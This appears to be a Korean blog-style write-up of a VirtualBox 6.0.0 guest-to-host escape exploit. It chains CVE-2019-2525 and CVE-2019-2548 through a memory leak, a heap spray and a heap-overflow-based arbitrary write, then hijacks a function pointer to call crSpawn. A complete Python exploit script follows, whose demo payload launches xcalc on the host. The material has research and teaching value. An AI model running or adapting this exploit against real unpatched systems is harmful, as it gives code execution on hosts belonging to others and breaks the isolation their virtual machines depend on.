VirtualBox 6.0.0 Exploit 1-day
사용할 VBox bug
- CVE-2019-2525 :
crUnpackExtendGetAttribLocation
Infomation Disclosure - CVE-2019-2548 :
crServerDispatchReadPixels
Interger overflow, lead to Heap overflow - these bugs can be trigger on enable 3D Acceleration.
먼저 설명에 앞서 아래 익스를 수행한 동영상을 찍어서 첨부한다.
https://youtu.be/IQRLtqMgVCY?t=46
1. Memory Leak (CVE-2019-2525)
hgcm_connect
와hgcm_disconnect
을 여러번 실행하여 메모리에cr_server
와 관련있는 값을 올릴 수 있고,crUnpackExtendGetAttribLocation
에서 음수 오프셋을 통해 메모리 릭을 하여cr_server+19056
와crVBoxHGCMDoDisconnect
의 주소를 구할 수 있다.- 위
leak
된 메모리값을 이용해cr_server
와crSpawn
의 주소를 구한다.
2. Heap Spray
CRVBOXSVBUFFER_t
를 메모리에 Heap Spray한다. 이 때alloc_buf
를 사용하는데, 메모리가 연속적으로 할당되기때문에, 버퍼 구조체의pData
역시 버퍼 구조체 바로 옆에 할당되게 된다.- 그러므로
alloc_buf(client, 0x20)
으로CRVBOXSVBUFFER_t
과 같은 크기의 pData를 생성한다.
- 짝수개의 Buffer ID를 Free한다.
alloc_buf(client, 0x50, msg)
와alloc_buf(client, 0x20, msg)
를 번갈아가며 할당하여Free
청크를 채운다. 0x50은 Free된 청크에 할당되지 못하고 다른 메모리영역에 할당된다.
- 0x50의 길이를 가지는 짝수 Buffer ID를 Free
3. Corrupt Chunk (CVE-2019-2548)
crServerDispatchReadPixels
에서integer overflow
가 일어나는 것을 이용하여 0x20크기의 구조체를 할당한다.
- bytes_per_row = 0x1FFFFFFD / height = 8 ⇒ 0x100000020
- 위 구조체는 Spray된 힙영역의 중간에 Free된 영역에 삽입되고, 크기가 0x38인 것을 이용하여 0x18만큼
Heap overflow
가 발생하여 다음 구조체의uiID
와uiSize
를 수정할 수 있다.
- uiID = 0xdeadbeef / uiSize = 0xffffffff
- 수정된 uiID를 가진 구조체를 사용하여 다음 청크를 수정시킬 수 있다. 이 때 uiSize가 0xffffffff이기때문에 다음 청크는
pData
까지 원하는 값으로 바꿀 수 있다.
- uiID = 0xcafebabe / uiSize = 0xffffffff / pData = 원하는 값
- 이제 uiID가 0xdeadbeef인 구조체로 pData를 설정하고 0xcafebabe인 구조체를 이용해
OOB Write
를 수행할 수 있다.
4. Exploit
OOB Write
를 이용하여cr_server + 0xc410
에 "xcalc"를 쓴다.OOB Write
를 이용하여 함수 테이블에 있는 crServerDispatchBoundsInfoCR(cr_server+0x0xae98)를crSpawn
함수로 덮는다.- crServerDispatchBoundsInfoCR를 실행시켜
crSpawn
함수를 호출한다. 이 때 인자로 **command="xcalc", argv=["xcalc"의 주소, NULL]**를 주어 VirtualBox를 탈출하여 계산기를 실행시킬 수 있다.
결과화면
Demo 동영상
https://youtu.be/IQRLtqMgVCY?t=46
Exploit code
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *
def nop_msg():
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ "\x00\x00\x00" +chr(CR_NOP_OPCODE)
+ pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
)
return msg
def make_leak_msg(offset):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
+ pack("<I", offset) #packet_length
+ pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
+ pack("<I", 0x41424344)
)
return msg
def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
+ pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
+ pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
)
return msg
def make_crSpawn_msg(cmd, argv):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
+ pack("<I", 1)
+ cmd.ljust(16, "\x00")
+ pack("<I", 0)
+ pack("<QQ", argv, 0) # argv : execute string, null
)
return msg
def leak_address(client):
leak_success = False;
while not leak_success:
for i in range(0, 10):
leak_client = hgcm_connect("VBoxSharedCrOpenGL")
hgcm_disconnect(leak_client)
msg = make_leak_msg(0x100000000-0x9b8)
result = crmsg(client, msg)
if "\x7f\x00\x00" in result:
leak = unpack('<Q', result[16:24])[0]
if (leak%0x1000 == 0x170):
leak_success = True
break
cr_server = leak - 0x4a70
leak_success = False;
while not leak_success:
for i in range(0, 100):
leak_client = hgcm_connect("VBoxSharedCrOpenGL")
hgcm_disconnect(leak_client)
msg = make_leak_msg(0x100000000-0x9b8)
result = crmsg(client, msg)
if "\x7f\x00\x00" in result:
leak = unpack('<Q', result[16:24])[0]
if (leak%0x1000 == 0x230):
leak_success = True
break
crSpawn = leak - 0xbd20
return (cr_server, crSpawn)
def heapSpray(client):
buf_ids = []
spray_ids = []
msg = nop_msg()
# make CRVBOXSVCBUFFER_t & pData heapSpray area
for i in range(120):
buf_ids.append(alloc_buf(client, 0x20, msg))
buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
# even buf_ids free
for idx in buf_ids[::2]:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
# fill CRVBOXSVCBUFFER_t free areas
for i in range(40):
spray_ids.append(alloc_buf(client, 0x50, msg))
alloc_buf(client, 0x20, msg)
# make a hole between spray area
for idx in spray_ids[::-2]:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
def make_corrupt_obj(pData):
obj = (
"A"*0x28
+ pack("<Q", 0x35)
+ pack("<I", 0xcafebabe) #uiId
+ pack("<I", 0xffffffff) #uiSize
+ pack("<Q", pData) # table_addr
)
return obj
def write_anywhere(addr, data):
#make corrupt obj
fake_buffer = make_corrupt_obj(addr)
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])
if __name__=='__main__':
client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client) #must use
# Trigger to CVE-2019-2525
cr_server, crSpawn = leak_address(client)
crServerDispatchBoundsInfoCR = cr_server+0xae98
print("[*] crServer : " + hex(cr_server))
print("[*] crSpawn : " + hex(crSpawn))
#print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
# heapSpray
heapSpray(client)
# Trigger to CVE-2019-2548
msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
crmsg(client, msg)
#a = input("test1 : ")
# setting "xcalc"
xcalc_string = cr_server + 0xc410
write_anywhere(xcalc_string, "xcalc")
print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))
# overwrite talbe func crSpawn
print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))
# escape!! execute xcalc
msg = make_crSpawn_msg("xcalc", xcalc_string)
crmsg(client, msg)
hgcm_disconnect(client)